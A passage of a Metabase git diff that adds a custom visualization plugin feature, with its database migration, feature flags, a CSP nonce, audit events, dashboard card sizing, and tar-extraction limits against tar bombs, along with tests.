t=(e?.[0]?.data?.cols??[]).filter(z3);return{columns:t,options:t.map(({display_name:e,name:t})=>({name:e,value:t}))}}}),metric:e({id:`metric`,section:`Data`,title:`Metric column`,widget:`field`,getDefault:e=>H3(e?.[0]?.data?.cols??[]),getProps:e=>{let t=(e?.[0]?.data?.cols??[]).filter(B3);return{columns:t,options:t.map(({display_name:e,name:t})=>({name:e,value:t}))}}}),color:e({id:`color`,section:`Display`,title:`Color`,widget:`color`,getDefault:()=>Ce,getProps:()=>({})}),cellShape:e({id:`cellShape`,section:`Display`,title:`Cell Shape`,widget:`radio`,getDefault:()=>`rounded`,getProps:()=>({options:[{name:`Square`,value:`square`},{name:`Rounded square`,value:`rounded`},{name:`Circle`,value:`circle`}]})})},VisualizationComponent:R3})})();
\ No newline at end of file
diff --git a/frontend/test/__support__/custom-viz-fixtures/calendar-heatmap/metabase-plugin.json b/frontend/test/__support__/custom-viz-fixtures/calendar-heatmap/metabase-plugin.json
new file mode 100644
index 00000000000..e6f5d4c1285
--- /dev/null
+++ b/frontend/test/__support__/custom-viz-fixtures/calendar-heatmap/metabase-plugin.json
@@ -0,0 +1,7 @@
+{
+ "name": "Calendar Heatmap",
+ "icon": "calendar.svg",
+ "metabase": {
+ "version": ">=59"
+ }
+}
diff --git a/frontend/test/__support__/server-mocks/custom-viz-plugin.ts b/frontend/test/__support__/server-mocks/custom-viz-plugin.ts
new file mode 100644
index 00000000000..698aaf4b0ba
--- /dev/null
+++ b/frontend/test/__support__/server-mocks/custom-viz-plugin.ts
@@ -0,0 +1,9 @@
+import fetchMock from "fetch-mock";
+
+import type { CustomVizPluginRuntime } from "metabase-types/api";
+
+export const setupCustomVizPluginListEndpoint = (
+ plugins: CustomVizPluginRuntime[] = [],
+) => {
+ fetchMock.get("path:/api/ee/custom-viz-plugin/list", plugins);
+};
diff --git a/frontend/test/__support__/server-mocks/index.ts b/frontend/test/__support__/server-mocks/index.ts
index f0a1f6b34bc..d886cee5354 100644
--- a/frontend/test/__support__/server-mocks/index.ts
+++ b/frontend/test/__support__/server-mocks/index.ts
@@ -12,6 +12,7 @@ export * from "./cloud-proxy";
export * from "./collection";
export * from "./comment";
export * from "./constants";
+export * from "./custom-viz-plugin";
export * from "./dashboard";
export * from "./data-studio";
export * from "./database";
diff --git a/jest.config.js b/jest.config.js
index 42e5905d5fd..89f670401fe 100644
--- a/jest.config.js
+++ b/jest.config.js
@@ -69,6 +69,7 @@ const baseConfig = {
"<rootDir>/target/cljs_release/.*",
"<rootDir>/resources/frontend_client",
"<rootDir>/.*/__mocks__",
+ "<rootDir>/enterprise/frontend/src/custom-viz",
],
setupFiles: [
"<rootDir>/frontend/test/jest-setup.js",
@@ -138,6 +139,7 @@ const config = {
"<rootDir>/frontend/src/embedding-sdk-shared",
"<rootDir>/enterprise/frontend/src/embedding-sdk-package",
"<rootDir>/enterprise/frontend/src/embedding-sdk-ee",
+ "<rootDir>/enterprise/frontend/src/custom-viz",
"<rootDir>/frontend/lint/tests",
],
},
diff --git a/lint-staged.config.cjs b/lint-staged.config.cjs
index 11800be85e1..3599110a29c 100644
--- a/lint-staged.config.cjs
+++ b/lint-staged.config.cjs
@@ -7,12 +7,12 @@ module.exports = {
"oxfmt --write",
],
"+(frontend|enterprise/frontend)/**/*.{js,jsx,ts,tsx}": [
- "cross-env LINT_CSS_MODULES=true eslint --max-warnings 0 --fix",
+ "cross-env LINT_CSS_MODULES=true eslint --no-warn-ignored --max-warnings 0 --fix",
"oxfmt --write",
"node ./bin/verify-doc-links",
],
"e2e/**/!(cypress_sample_instance_data).{js,jsx,ts,jsx}": [
- "eslint --max-warnings 0 --fix",
+ "eslint --no-warn-ignored --max-warnings 0 --fix",
"oxfmt --write",
],
"**/*.{clj,cljc,cljs,bb}": [
diff --git a/mage/src/mage/modules.clj b/mage/src/mage/modules.clj
index 2c84837010e..22399ef2dab 100644
--- a/mage/src/mage/modules.clj
+++ b/mage/src/mage/modules.clj
@@ -103,6 +103,7 @@
collections
config
content-verification
+ custom-viz-plugin
dashboards
documents
eid-translation
diff --git a/package.json b/package.json
index c5629bee09b..65be5ab003f 100644
--- a/package.json
+++ b/package.json
@@ -38,6 +38,7 @@
"@juggle/resize-observer": "^3.4.0",
"@lezer/highlight": "^1.2.1",
"@lezer/lr": "^1.4.2",
+ "@locker/near-membrane-dom": "^0.15.0",
"@loki/browser": "0.35.0",
"@mantine/core": "8.3.18",
"@mantine/dates": "8.3.18",
@@ -98,6 +99,7 @@
"dayjs": "^1.11.18",
"detect-package-manager": "^3.0.2",
"diff": "^5.2.2",
+ "dompurify": "^3.4.0",
"echarts": "6.0.0",
"events": "^3.3.0",
"fast-text-encoding": "^1.0.6",
diff --git a/resources/migrations/062/20260409_custom_viz_plugin.yaml b/resources/migrations/062/20260409_custom_viz_plugin.yaml
new file mode 100644
index 00000000000..b5c68e01ff1
--- /dev/null
+++ b/resources/migrations/062/20260409_custom_viz_plugin.yaml
@@ -0,0 +1,118 @@
+## Create and configure custom_viz_plugin table for custom visualization plugins
+
+databaseChangeLog:
+ - logicalFilePath: migrations/062_update_migrations.yaml
+ - changeSet:
+ id: v62.2026-04-09T10:00:00
+ author: sgavrylov
+ comment: Create custom_viz_plugin table for custom visualization plugins
+ preConditions:
+ - onFail: MARK_RAN
+ - not:
+ - tableExists:
+ tableName: custom_viz_plugin
+ changes:
+ - createTable:
+ tableName: custom_viz_plugin
+ remarks: Stores registered custom visualization plugins uploaded as zip bundles
+ columns:
+ - column:
+ name: id
+ type: int
+ autoIncrement: true
+ constraints:
+ primaryKey: true
+ nullable: false
+ - column:
+ name: identifier
+ type: varchar(254)
+ remarks: Unique identifier used as visualization display type. Comes from the manifest "name" field.
+ constraints:
+ nullable: false
+ unique: true
+ - column:
+ name: display_name
+ type: varchar(254)
+ remarks: Human-readable name from the plugin manifest
+ constraints:
+ nullable: false
+ - column:
+ name: status
+ type: varchar(32)
+ remarks: Plugin status - active or error
+ constraints:
+ nullable: false
+ - column:
+ name: error_message
+ type: ${text.type}
+ remarks: Last error message if status is error
+ constraints:
+ nullable: true
+ - column:
+ name: bundle
+ type: ${blob.type}
+ remarks: Raw bytes of the uploaded zip bundle. Null for dev-only plugins served from a dev server.
+ constraints:
+ nullable: true
+ - column:
+ name: bundle_hash
+ type: varchar(64)
+ remarks: SHA-256 hex of the uploaded bundle, used as the on-disk cache key and HTTP ETag. Null for dev-only plugins.
+ constraints:
+ nullable: true
+ - column:
+ name: created_at
+ type: ${timestamp_type}
+ remarks: Timestamp when the plugin was registered
+ constraints:
+ nullable: false
+ - column:
+ name: updated_at
+ type: ${timestamp_type}
+ remarks: Timestamp when the plugin was last updated
+ constraints:
+ nullable: false
+ - column:
+ name: enabled
+ type: ${boolean.type}
+ defaultValueBoolean: true
+ remarks: Whether the plugin is enabled for use in dashboards and questions
+ constraints:
+ nullable: false
+ - column:
+ name: icon
+ type: varchar(254)
+ remarks: Icon from plugin manifest - asset path resolved to a URL
+ constraints:
+ nullable: true
+ - column:
+ name: manifest
+ type: ${text.type}
+ remarks: JSON manifest from metabase-plugin.json in the uploaded bundle
+ - column:
+ name: metabase_version
+ type: varchar(254)
+ remarks: Metabase version range requirement from manifest (e.g. ">=1.59 <1.62")
+ - column:
+ name: dev_bundle_url
+ type: varchar(1024)
+ remarks: Dev server URL for hot-reload development (e.g. http://localhost:5174)
+
+ - changeSet:
+ id: v62.2026-04-24T10:00:01
+ author: bronsa
+ comment: Use longblob for custom_viz_plugin.bundle on MySQL/MariaDB so it can hold multi-MB zip uploads
+ changes:
+ - modifyDataType:
+ tableName: custom_viz_plugin
+ columnName: bundle
+ newDataType: longblob
+ rollback:
+ - modifyDataType:
+ tableName: custom_viz_plugin
+ columnName: bundle
+ newDataType: ${blob.type}
+ preConditions:
+ - onFail: MARK_RAN
+ - dbms:
+ type: mysql,mariadb
diff --git a/rspack.main.config.js b/rspack.main.config.js
index cbb91b1e852..7dd4486ddfa 100644
--- a/rspack.main.config.js
+++ b/rspack.main.config.js
@@ -78,19 +78,22 @@ const SWC_LOADER = {
class OnScriptError {
apply(/** @type {import("webpack").Compiler} */ compiler) {
- compiler.hooks.compilation.tap("OnScriptError", (/** @type {import("webpack").Compilation} */ compilation) => {
- HtmlWebpackPlugin.getHooks(compilation).alterAssetTags.tapAsync(
- "OnScriptError",
- (data, cb) => {
- // Manipulate the content
- data.assetTags.scripts.forEach((script) => {
- script.attributes.onerror = `Metabase.AssetErrorLoad(this)`;
- });
- // Tell webpack to move on
- cb(null, data);
- },
- );
- });
+ compiler.hooks.compilation.tap(
+ "OnScriptError",
+ (/** @type {import("webpack").Compilation} */ compilation) => {
+ HtmlWebpackPlugin.getHooks(compilation).alterAssetTags.tapAsync(
+ "OnScriptError",
+ (data, cb) => {
+ // Manipulate the content
+ data.assetTags.scripts.forEach((script) => {
+ script.attributes.onerror = `Metabase.AssetErrorLoad(this)`;
+ });
+ // Tell webpack to move on
+ cb(null, data);
+ },
+ );
+ },
+ );
}
}
@@ -115,7 +118,6 @@ const config = {
externals: {
canvg: "canvg",
- dompurify: "dompurify",
},
// output to "dist"
diff --git a/snowplow/iglu-client-embedded/schemas/com.metabase/serialization/jsonschema/1-0-1 b/snowplow/iglu-client-embedded/schemas/com.metabase/serialization/jsonschema/1-0-1
index 9ec4c885a4b..eccda91c2ab 100644
--- a/snowplow/iglu-client-embedded/schemas/com.metabase/serialization/jsonschema/1-0-1
+++ b/snowplow/iglu-client-embedded/schemas/com.metabase/serialization/jsonschema/1-0-1
@@ -5,7 +5,7 @@
"vendor": "com.metabase",
"name": "serialization",
"format": "jsonschema",
- "version": "1-0-0"
+ "version": "1-0-1"
},
"type": "object",
"required": [
diff --git a/src/metabase/analytics/stats.clj b/src/metabase/analytics/stats.clj
index c7bc6f1f485..4ce345ef824 100644
--- a/src/metabase/analytics/stats.clj
+++ b/src/metabase/analytics/stats.clj
@@ -849,6 +849,11 @@
{:name :whitelabel
:available (premium-features/enable-whitelabeling?)
:enabled (whitelabeling-in-use?)}
+ {:name :custom-viz
+ :available (premium-features/enable-custom-viz?)
+ :enabled (and config/ee-available?
+ (premium-features/enable-custom-viz?)
+ (t2/exists? :model/CustomVizPlugin))}
{:name :csv-upload
:available (csv-upload-available?)
:enabled (t2/exists? :model/Database :uploads_enabled true)}
diff --git a/src/metabase/api/macros.clj b/src/metabase/api/macros.clj
index a9b0283891f..7fbd2188051 100644
--- a/src/metabase/api/macros.clj
+++ b/src/metabase/api/macros.clj
@@ -586,9 +586,10 @@
(mu/defn- middleware-forms
"Middleware to apply to base handler. Supports:
- {:multipart true} — wraps with multipart-params middleware
- {:scope \"agent:workspaces\"} — wraps with scope enforcement middleware
- {:scope :unchecked} — skips both enforce-scope and ensure-scopes-checked
+ {:multipart true} — wraps with multipart-params middleware
+ {:multipart {:max-file-size N, ...}} — same, passing options to wrap-multipart-params
+ {:scope \"agent:workspaces\"} — wraps with scope enforcement middleware
+ {:scope :unchecked} — skips both enforce-scope and ensure-scopes-checked
Endpoints without `:scope` get [[metabase.api.macros.scope/ensure-scopes-checked]] to prevent scoped
tokens from reaching endpoints that haven't opted in."
@@ -597,10 +598,13 @@
scope-middleware (cond
(= scope :unchecked) []
(some? scope) [(list 'metabase.api.macros.scope/enforce-scope scope)]
- :else ['metabase.api.macros.scope/ensure-scopes-checked])]
+ :else ['metabase.api.macros.scope/ensure-scopes-checked])
+ multipart (:multipart metadata)]
(cond-> (vec scope-middleware)
- (:multipart metadata)
- (conj 'ring.middleware.multipart-params/wrap-multipart-params))))
+ multipart
+ (conj (if (map? multipart)
+ `(fn [handler#] (ring.middleware.multipart-params/wrap-multipart-params handler# ~multipart))
+ 'ring.middleware.multipart-params/wrap-multipart-params)))))
(mu/defn- apply-middleware :- ::handler
[handler :- ::handler
diff --git a/src/metabase/audit_app/events/audit_log.clj b/src/metabase/audit_app/events/audit_log.clj
index c3b964ac73d..27bdb3bf60e 100644
--- a/src/metabase/audit_app/events/audit_log.clj
+++ b/src/metabase/audit_app/events/audit_log.clj
@@ -344,6 +344,15 @@
[topic event]
(audit-log/record-event! topic event))
+(derive ::custom-viz-plugin-event ::event)
+(derive :event/custom-viz-plugin-create ::custom-viz-plugin-event)
+(derive :event/custom-viz-plugin-update ::custom-viz-plugin-event)
+(derive :event/custom-viz-plugin-delete ::custom-viz-plugin-event)
+
+(methodical/defmethod events/publish-event! ::custom-viz-plugin-event
+ [topic event]
+ (audit-log/record-event! topic event))
+
(derive ::remote-sync-event ::event)
(derive :event/remote-sync-import ::remote-sync-event)
(derive :event/remote-sync-export ::remote-sync-event)
diff --git a/src/metabase/audit_app/models/audit_log.clj b/src/metabase/audit_app/models/audit_log.clj
index 003347c4ad9..f5a665394ce 100644
--- a/src/metabase/audit_app/models/audit_log.clj
+++ b/src/metabase/audit_app/models/audit_log.clj
@@ -145,6 +145,10 @@
[glossary _event-type]
(select-keys glossary [:term]))
+(defmethod model-details :model/CustomVizPlugin
+ [plugin _event-type]
+ (select-keys plugin [:identifier :display_name :status :enabled :bundle_hash]))
+
(defmethod model-details :model/RemoteSyncTask
[task _event-type]
(select-keys task [:sync_task_type :version]))
diff --git a/src/metabase/cmd/copy.clj b/src/metabase/cmd/copy.clj
index 1f7b2aaa524..85422c7f3bf 100644
--- a/src/metabase/cmd/copy.clj
+++ b/src/metabase/cmd/copy.clj
@@ -143,7 +143,8 @@
:model/MetabotInstanceLimit
:model/Sandbox
:model/Tenant
- :model/ConnectionImpersonation])))
+ :model/ConnectionImpersonation
+ :model/CustomVizPlugin])))
(defn- objects->columns+values
"Given a sequence of objects/rows fetched from the H2 DB, return a the `columns` that should be used in the `INSERT`
diff --git a/src/metabase/dashboards/autoplace.clj b/src/metabase/dashboards/autoplace.clj
index f6ae534fcd1..db6494f2fd3 100644
--- a/src/metabase/dashboards/autoplace.clj
+++ b/src/metabase/dashboards/autoplace.clj
@@ -36,11 +36,9 @@
easier for the caller.
"
([cards display-type]
- (let [{:keys [width height]} (:default (get dashboard.constants/card-size-defaults display-type))]
- (get-position-for-new-dashcard cards
- width
- height
- default-grid-width)))
+ (let [{:keys [width height]} (merge dashboard.constants/default-card-size
+ (:default (get dashboard.constants/card-size-defaults display-type)))]
+ (get-position-for-new-dashcard cards width height default-grid-width)))
([cards size-x size-y grid-width]
(let [dashboard-tab-id (:dashboard_tab_id (first cards))]
(first
diff --git a/src/metabase/dashboards/constants.cljc b/src/metabase/dashboards/constants.cljc
index 483349dcabe..04a8e7e6d3e 100644
--- a/src/metabase/dashboards/constants.cljc
+++ b/src/metabase/dashboards/constants.cljc
@@ -4,6 +4,10 @@
"Default width of a dashboard"
24)
+(def default-card-size
+ "Fallback card size used when a visualization type has no entry in `card-size-defaults`"
+ {:width 4 :height 4})
+
(def card-size-defaults
"Default card sizes per visualization type"
{:table {:min {:width 4 :height 3} :default {:width 12 :height 9}}
@@ -35,3 +39,7 @@
#?(:cljs (def ^:export CARD_SIZE_DEFAULTS_JSON
"Default card sizes per visualization type as a json object suitable for the FE"
(clj->js card-size-defaults)))
+
+#?(:cljs (def ^:export DEFAULT_CARD_SIZE_JSON
+ "Fallback card size as a json object suitable for the FE"
+ (clj->js default-card-size)))
diff --git a/src/metabase/models/resolution.clj b/src/metabase/models/resolution.clj
index bc8daa594bf..5ea0c57ca61 100644
--- a/src/metabase/models/resolution.clj
+++ b/src/metabase/models/resolution.clj
@@ -33,6 +33,7 @@
:model/CommentReaction metabase.comments.models.comment-reaction
:model/ConnectionImpersonation metabase-enterprise.impersonation.models
:model/ContentTranslation metabase.content-translation.models
+ :model/CustomVizPlugin metabase-enterprise.custom-viz-plugin.models.custom-viz-plugin
:model/Dashboard metabase.dashboards.models.dashboard
:model/DashboardBookmark metabase.bookmarks.models.bookmark
:model/DashboardCard metabase.dashboards.models.dashboard-card
diff --git a/src/metabase/premium_features/core.clj b/src/metabase/premium_features/core.clj
index 9864d44ef05..90cc3cd00fa 100644
--- a/src/metabase/premium_features/core.clj
+++ b/src/metabase/premium_features/core.clj
@@ -55,6 +55,7 @@
enable-config-text-file?
enable-content-translation?
enable-content-verification?
+ enable-custom-viz?
enable-data-complexity-score?
enable-dashboard-subscription-filters?
enable-database-auth-providers?
diff --git a/src/metabase/premium_features/settings.clj b/src/metabase/premium_features/settings.clj
index 775d6daf548..a3ce53288f9 100644
--- a/src/metabase/premium_features/settings.clj
+++ b/src/metabase/premium_features/settings.clj
@@ -3,6 +3,7 @@
(:require
[metabase.app-db.core :as mdb]
[metabase.config.core :as config]
+ [metabase.premium-features.defenterprise :refer [defenterprise]]
[metabase.settings.core :as setting :refer [defsetting]]
[metabase.util.i18n :refer [deferred-tru]]))
@@ -343,6 +344,13 @@
"Should we offer users the Metabase-managed AI provider?"
:offer-metabase-ai-managed)
+(defenterprise enable-custom-viz?
+ "Should we enable custom visualizations? OSS falls back to `false`; the EE implementation checks the
+ `custom-viz-enabled` setting and the `:custom-viz` premium feature."
+ metabase-enterprise.custom-viz-plugin.settings
+ []
+ false)
+
(define-premium-feature enable-data-complexity-score?
"Should we expose Data Complexity Score?"
:data-complexity-score)
@@ -367,6 +375,8 @@
:config_text_file (enable-config-text-file?)
:content_translation (enable-content-translation?)
:content_verification (enable-content-verification?)
+ :custom-viz (enable-custom-viz?)
+ :custom-viz-available (has-feature? :custom-viz)
:data-complexity-score (enable-data-complexity-score?)
:dashboard_subscription_filters (enable-dashboard-subscription-filters?)
:database_auth_providers (enable-database-auth-providers?)
diff --git a/src/metabase/queries/models/card.clj b/src/metabase/queries/models/card.clj
index 71795b0cb4d..a2bcd220322 100644
--- a/src/metabase/queries/models/card.clj
+++ b/src/metabase/queries/models/card.clj
@@ -868,7 +868,7 @@
;;; ----------------------------------------------- Creating Cards ----------------------------------------------------
-(defn- autoplace-dashcard-for-card! [dashboard-id maybe-dashboard-tab-id card]
+(defn- autoplace-dashcard-for-card! [dashboard-id maybe-dashboard-tab-id card size]
(let [dashboard (t2/hydrate (t2/select-one :model/Dashboard dashboard-id) :dashcards [:tabs :tab-cards])
{:keys [dashcards tabs]} dashboard
tabs (remove #(when maybe-dashboard-tab-id (not= maybe-dashboard-tab-id (:id %))) tabs)
@@ -878,7 +878,11 @@
cards-on-first-tab (or (when first-tab
(:cards first-tab))
dashcards)
- new-spot (autoplace/get-position-for-new-dashcard cards-on-first-tab (:display card))]
+ new-spot (if-let [{:keys [size_x size_y]} size]
+ (autoplace/get-position-for-new-dashcard
+ cards-on-first-tab size_x size_y autoplace/default-grid-width)
+ (autoplace/get-position-for-new-dashcard
+ cards-on-first-tab (:display card)))]
(t2/insert! :model/DashboardCard (assoc new-spot
:dashboard_tab_id (some-> first-tab :id)
:card_id (:id card)
@@ -933,7 +937,7 @@
(not new-dashboard-id))))
;; we'll end up unarchived and a dashboard card => make sure we autoplace
(when (and on-dashboard-after? (not archived-after?))
- (autoplace-dashcard-for-card! new-dashboard-id dashboard-tab-id card-before-update))
+ (autoplace-dashcard-for-card! new-dashboard-id dashboard-tab-id card-before-update nil))
(when (and
;; we start out as a DQ, and
@@ -1013,7 +1017,7 @@
(collections/check-non-remote-synced-dependencies <>))))]
(let [{:keys [dashboard_id]} card]
(when (and dashboard_id autoplace-dashboard-questions?)
- (autoplace-dashcard-for-card! dashboard_id (:dashboard_tab_id input-card-data) card)))
+ (autoplace-dashcard-for-card! dashboard_id (:dashboard_tab_id input-card-data) card (:size input-card-data))))
(when-not delay-event?
(events/publish-event! :event/card-create {:object card :user-id (:id creator)}))
(when metadata-future
diff --git a/src/metabase/queries_rest/api/card.clj b/src/metabase/queries_rest/api/card.clj
index 157ae333b30..acd2c7134c7 100644
--- a/src/metabase/queries_rest/api/card.clj
+++ b/src/metabase/queries_rest/api/card.clj
@@ -542,7 +542,10 @@
[:result_metadata {:optional true} [:maybe analyze/ResultsMetadata]]
[:cache_ttl {:optional true} [:maybe ms/PositiveInt]]
[:dashboard_id {:optional true} [:maybe ms/PositiveInt]]
- [:dashboard_tab_id {:optional true} [:maybe ms/PositiveInt]]])
+ [:dashboard_tab_id {:optional true} [:maybe ms/PositiveInt]]
+ [:size {:optional true} [:maybe [:map
+ [:size_x ms/PositiveInt]
+ [:size_y ms/PositiveInt]]]]])
;; TODO (Cam 2025-11-25) please add a response schema to this API endpoint, it makes it easier for our customers to
;; use our API + we will need it when we make auto-TypeScript-signature generation happen
diff --git a/src/metabase/server/middleware/security.clj b/src/metabase/server/middleware/security.clj
index 994ae3041ca..4c7e91e8a33 100644
--- a/src/metabase/server/middleware/security.clj
+++ b/src/metabase/server/middleware/security.clj
@@ -133,6 +133,11 @@
(for [[k vs] {:default-src ["'none'"]
:script-src (concat
["'self'"
+ ;; for custom viz plugin bundles loaded via fetch + inline <script> with nonce.
+ ;; In dev mode 'unsafe-inline' covers this; adding a nonce there would
+ ;; cause the browser to ignore 'unsafe-inline' per the CSP spec.
+ (when (and nonce (not config/is-dev?))
+ (format "'nonce-%s'" nonce))
"https://maps.google.com"
"https://accounts.google.com"
(when (analytics/anon-tracking-enabled)
diff --git a/src/metabase/util/compress.clj b/src/metabase/util/compress.clj
index 4a559a3b0ac..4f77063979a 100644
--- a/src/metabase/util/compress.clj
+++ b/src/metabase/util/compress.clj
@@ -3,7 +3,7 @@
[clojure.java.io :as io]
[clojure.string :as str])
(:import
- (java.io File)
+ (java.io File OutputStream)
(org.apache.commons.compress.archivers.tar TarArchiveEntry TarArchiveInputStream TarArchiveOutputStream)
(org.apache.commons.compress.compressors.gzip GzipCompressorInputStream GzipCompressorOutputStream GzipParameters)))
@@ -16,6 +16,15 @@
(when-let [entry (.getNextEntry tar)]
(cons entry (entries tar)))))
+(defn tar-input-stream
+ "Open a `TarArchiveInputStream` over a tar+gzip `source`. `source` can be
+ anything `io/input-stream` coerces — a `File`, a byte array, a raw
+ `InputStream`. The caller is responsible for closing the returned stream."
+ ^TarArchiveInputStream [source]
+ (-> (io/input-stream source)
+ (GzipCompressorInputStream.)
+ (TarArchiveInputStream.)))
+
(defn tgz
"Compress directory `src` to a tar+gzip file `dst`."
[^File src ^File dst]
@@ -40,23 +49,53 @@
(.closeArchiveEntry tar)))
dst))
+(defn- copy-tar-entry!
+ "Stream the current tar entry into `out`, returning the new running total of
+ uncompressed bytes seen so far. Throws ex-info as soon as the running total
+ would exceed `max-bytes` (when set), so a tar bomb cannot exhaust disk."
+ ^long [^TarArchiveInputStream tar ^OutputStream out ^long start-total max-bytes]
+ (let [buf (byte-array 8192)]
+ (loop [total start-total]
+ (let [n (.read tar buf)]
+ (if (pos? n)
+ (let [next-total (+ total n)]
+ (when (and max-bytes (> next-total ^long max-bytes))
+ (throw (ex-info (format "Archive expands beyond max uncompressed bytes (%d)" max-bytes)
+ {:status-code 400 :max-uncompressed-bytes max-bytes})))
+ (.write out buf 0 n)
+ (recur next-total))
+ total)))))
+
(defn untgz
- "Uncompress tar+gzip file `archive` to a directory `dst`.
- Skips hidden entries, returns number of unpacked entries (files + dirs)."
- [^File archive ^File dst]
- (with-open [tar (-> (io/input-stream archive)
- (GzipCompressorInputStream.)
- (TarArchiveInputStream.))]
- (let [tar-entries (entries tar)
- dst-path (.toPath dst)]
- (count
- (for [^TarArchiveEntry e tar-entries
- :let [actual-name (last (.split (.getName e) "/"))]
- ;; skip hidden files
- :when (not (str/starts-with? actual-name "."))]
- (let [f (.toFile (.resolveIn e dst-path))]
- (if (.isFile e)
- (do (io/make-parents f)
- (io/copy tar f))
- (.mkdirs f))
- true))))))
+ "Uncompress tar+gzip `archive` into directory `dst`.
+
+ `archive` can be anything `io/input-stream` coerces — a `File`, a byte array,
+ or a raw `InputStream`. Skips hidden entries. Returns the number of unpacked
+ entries (files + dirs).
+
+ Optional `opts` (default unset, no behavior change):
+ - `:max-uncompressed-bytes` — abort with ex-info when total extracted bytes
+ would exceed this. Defends against tar bombs.
+ - `:max-entries` — abort with ex-info when entry count would exceed this."
+ ([archive ^File dst]
+ (untgz archive dst nil))
+ ([archive ^File dst {:keys [max-uncompressed-bytes max-entries]}]
+ (with-open [tar (tar-input-stream archive)]
+ (let [dst-path (.toPath dst)]
+ (loop [entry-count 0 total-bytes 0]
+ (if-let [^TarArchiveEntry e (.getNextEntry tar)]
+ (let [actual-name (last (.split (.getName e) "/"))]
+ (if (str/starts-with? actual-name ".")
+ (recur entry-count total-bytes)
+ (let [next-count (inc entry-count)
+ _ (when (and max-entries (> next-count ^long max-entries))
+ (throw (ex-info (format "Archive exceeds max entries (%d)" max-entries)
+ {:status-code 400 :max-entries max-entries})))
+ f (.toFile (.resolveIn e dst-path))
+ next-total (long (if (.isFile e)
+ (do (io/make-parents f)
+ (with-open [out (io/output-stream f)]
+ (copy-tar-entry! tar out total-bytes max-uncompressed-bytes)))
+ (do (.mkdirs f) total-bytes)))]
+ (recur next-count next-total))))
+ entry-count))))))
diff --git a/test/metabase/dashboards/autoplace_test.clj b/test/metabase/dashboards/autoplace_test.clj
index 857ce7fac93..a7b446ef10e 100644
--- a/test/metabase/dashboards/autoplace_test.clj
+++ b/test/metabase/dashboards/autoplace_test.clj
@@ -46,3 +46,10 @@
(testing "should not place card over the right edge of the grid"
(is (= (pos {:col 0 :row 1})
(get-position [(pos {:col 0 :row 0 :size_x 5 :size_y 1})])))))
+
+(deftest get-position-for-new-dashcard-falls-back-to-default-size
+ (testing "unknown display types (e.g. custom viz plugins) fall back to default-card-size instead of NPE"
+ (is (= {:col 0 :row 0 :size_x 4 :size_y 4 :dashboard_tab_id nil}
+ (autoplace/get-position-for-new-dashcard [] :custom:Calendar-Heatmap)))
+ (is (= {:col 0 :row 0 :size_x 4 :size_y 4 :dashboard_tab_id nil}
+ (autoplace/get-position-for-new-dashcard [] nil)))))
diff --git a/test/metabase/queries_rest/api/card_test.clj b/test/metabase/queries_rest/api/card_test.clj
index 07f6ab5df38..a5d349bf1a3 100644
--- a/test/metabase/queries_rest/api/card_test.clj
+++ b/test/metabase/queries_rest/api/card_test.clj
@@ -4095,7 +4095,21 @@
(testing "We can't create a dashboard internal card with a non-null :collection_position"
(mt/user-http-request :crowberto :post 400 "card" (assoc (card-with-name-and-query)
:dashboard_id dash-id
- :collection_position 5)))))
+ :collection_position 5)))
+ (testing "An explicit :size overrides the display-type default when autoplacing"
+ (let [card-id (:id (mt/user-http-request :crowberto :post 200 "card"
+ (assoc (card-with-name-and-query)
+ :dashboard_id dash-id
+ :size {:size_x 8 :size_y 5})))
+ dashcard (t2/select-one :model/DashboardCard :dashboard_id dash-id :card_id card-id)]
+ (is (= 8 (:size_x dashcard)))
+ (is (= 5 (:size_y dashcard)))))
+ (testing ":size is not persisted on the Card itself"
+ (let [card (mt/user-http-request :crowberto :post 200 "card"
+ (assoc (card-with-name-and-query)
+ :dashboard_id dash-id
+ :size {:size_x 3 :size_y 3}))]
+ (is (not (contains? card :size)))))))
(deftest dashboard-internal-card-updates
(mt/with-temp [:model/Collection {coll-id :id} {}
diff --git a/test/metabase/util/compress_test.clj b/test/metabase/util/compress_test.clj
index 48219d534ee..12cb316b2ea 100644
--- a/test/metabase/util/compress_test.clj
+++ b/test/metabase/util/compress_test.clj
@@ -55,6 +55,51 @@
(.closeArchiveEntry tar)))
archive))
+(defn- create-multi-entry-tgz
+ "Create a tar.gz archive with `n` entries each holding `content`."
+ ^File [n ^bytes content]
+ (let [archive (File/createTempFile "archive" ".tar.gz")]
+ (with-open [tar (-> (io/output-stream archive)
+ (GzipCompressorOutputStream.)
+ (TarArchiveOutputStream. 512 "UTF-8"))]
+ (dotimes [i n]
+ (let [entry (doto (TarArchiveEntry. (format "file-%d" i))
+ (.setSize (alength content)))]
+ (.putArchiveEntry tar entry)
+ (.write tar content)
+ (.closeArchiveEntry tar))))
+ archive))
+
+(deftest untgz-max-uncompressed-bytes-test
+ (testing "untgz aborts when total uncompressed bytes exceed :max-uncompressed-bytes"
+ (let [content (.getBytes (apply str (repeat 1024 \a)) "UTF-8")
+ archive (create-multi-entry-tgz 10 content) ;; 10 KiB total uncompressed
+ out (doto (io/file (System/getProperty "java.io.tmpdir") (mt/random-name))
+ .mkdirs)]
+ (try
+ (is (thrown-with-msg? clojure.lang.ExceptionInfo
+ #"max uncompressed bytes"
+ (u.compress/untgz archive out {:max-uncompressed-bytes 4096})))
+ (testing "no limit means no error"
+ (is (= 10 (u.compress/untgz archive out))))
+ (finally
+ (io/delete-file archive true)
+ (run! #(io/delete-file % true) (reverse (file-seq out))))))))
+
+(deftest untgz-max-entries-test
+ (testing "untgz aborts when entry count exceeds :max-entries"
+ (let [content (.getBytes "x" "UTF-8")
+ archive (create-multi-entry-tgz 10 content)
+ out (doto (io/file (System/getProperty "java.io.tmpdir") (mt/random-name))
+ .mkdirs)]
+ (try
+ (is (thrown-with-msg? clojure.lang.ExceptionInfo
+ #"max entries"
+ (u.compress/untgz archive out {:max-entries 5})))
+ (finally
+ (io/delete-file archive true)
+ (run! #(io/delete-file % true) (reverse (file-seq out))))))))
+
(deftest untgz-path-traversal-test
(testing "untgz rejects tar entries with path traversal"
(let [content (.getBytes "content" "UTF-8")
diff --git a/test_resources/serialization_baseline/custom_viz_plugins/test_plugin.yaml b/test_resources/serialization_baseline/custom_viz_plugins/test_plugin.yaml
new file mode 100644
index 00000000000..e46a3dd0887
--- /dev/null
+++ b/test_resources/serialization_baseline/custom_viz_plugins/test_plugin.yaml
@@ -0,0 +1,10 @@
+display_name: Test Plugin
+identifier: test-plugin
+manifest: {}
+bundle_hash: deadbeef
+bundle: cHJldGVuZCB0Z3ogYnl0ZXM=
+created_at: '2026-04-02T01:50:04.994996Z'
+serdes/meta:
+- id: test-plugin
+ label: test-plugin
+ model: CustomVizPlugin
